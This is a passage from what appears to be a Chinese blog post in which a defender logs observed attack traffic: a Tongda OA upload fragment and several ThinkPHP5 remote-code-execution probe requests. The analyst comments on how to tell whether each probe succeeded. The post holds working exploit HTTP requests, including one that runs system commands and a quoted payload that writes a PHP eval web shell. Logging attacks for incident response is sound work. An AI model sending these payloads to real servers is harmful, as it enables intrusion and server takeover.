-----------------------------xxxxxxxxxxxxxxxxxxxxxxxxxxx.Content-Disposition: form-data; name="CONFIG[fileFieldName]"..ffff.-----------------------------xxxxxxxxxxxxxxxxxxxxxxxxxxx.Content-Disposition: form-data; name="CONFIG[fileMaxSize]"..1000000000.-----------------------------xxxxxxxxxxxxxxxxxxxxxxxxxxx.Content-Disposition: form-data; name="CONFIG[filePathFormat]"..tcm

看到ua就知道是批量探测了,只需要关注回包有没有提示200 body带不带ok上传成功就行,没带就无视,带了进一步应急排查内网。

通达OA任意文件上传漏洞详细分析-谢公子
https://cloud.tencent.com/developer/article/1937632


2024年1月22日
攻击类型:thinkphp5 rce(探测)
漏洞名称:ThinkPHP5 RCE(探测)
影响版本 :5.0.7<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30
payload

GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=zo7Lv HTTP/1.1
Host: xxxxxxxxxxxx
Connection: upgrade
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.12.4

ua一眼script kids,调用md5编码尝试,探测返回值,为200的话就等着应急吧

ThinkPHP v5.0.22 远程代码漏洞复现分析——ArrowQin
https://blog.csdn.net/ArrowQin/article/details/105913146


2024年1月22日
攻击类型:thinkphp5 rce(探测)
漏洞名称:ThinkPHP5 RCE(探测)
影响版本 :5.0、5.1
payload

GET /public/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd%20%2fc%20set%20%2fa%201066%20%2a%201785 HTTP/1.1
Host: xxxxxxxxxxxxx
Connection: upgrade
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.12.4

同上脚本小子的探测,只需要看关注请求执行的什么命令,以及回包即可
这里用function=call_user_func_array&vars[0]=system&vars[1][]=cmd%20%2fc%20set%20%2fa%201066%20%2a%201785
执行了system(cmd /c set /a 1066 * 1785`)


2024年1月22日
攻击类型:thinkphp5 rce
漏洞名称:ThinkPHP5 5.0.23远程代码执行漏洞
影响版本:5.0、5.1
payload

POST /index.php?s=captcha HTTP/1.1
Host: xxxxxxxxx
Connection: upgrade
Content-Length: 72
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.12.4
Content-Type: application/x-www-form-urlencoded

_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

这个payload单纯拿phpinfo探测,需要关注回包是否成功
filter[]=system才是这个行为常见的执行命令
比如下面这篇里的

 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n YWE8P3BocCBAZXZhbCgkX1JFUVVFU1RbJ2F0dGFjayddKSA/PmJi | base64 -d > shell.php

复现ThinkPHP5 5.0.23远程代码执行漏洞-派大星833
https://blog.csdn.net/weixin_56513549/article/details/123053285

  • 25
    点赞
  • 32
    收藏
    觉得还不错? 一键收藏
  • 6
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值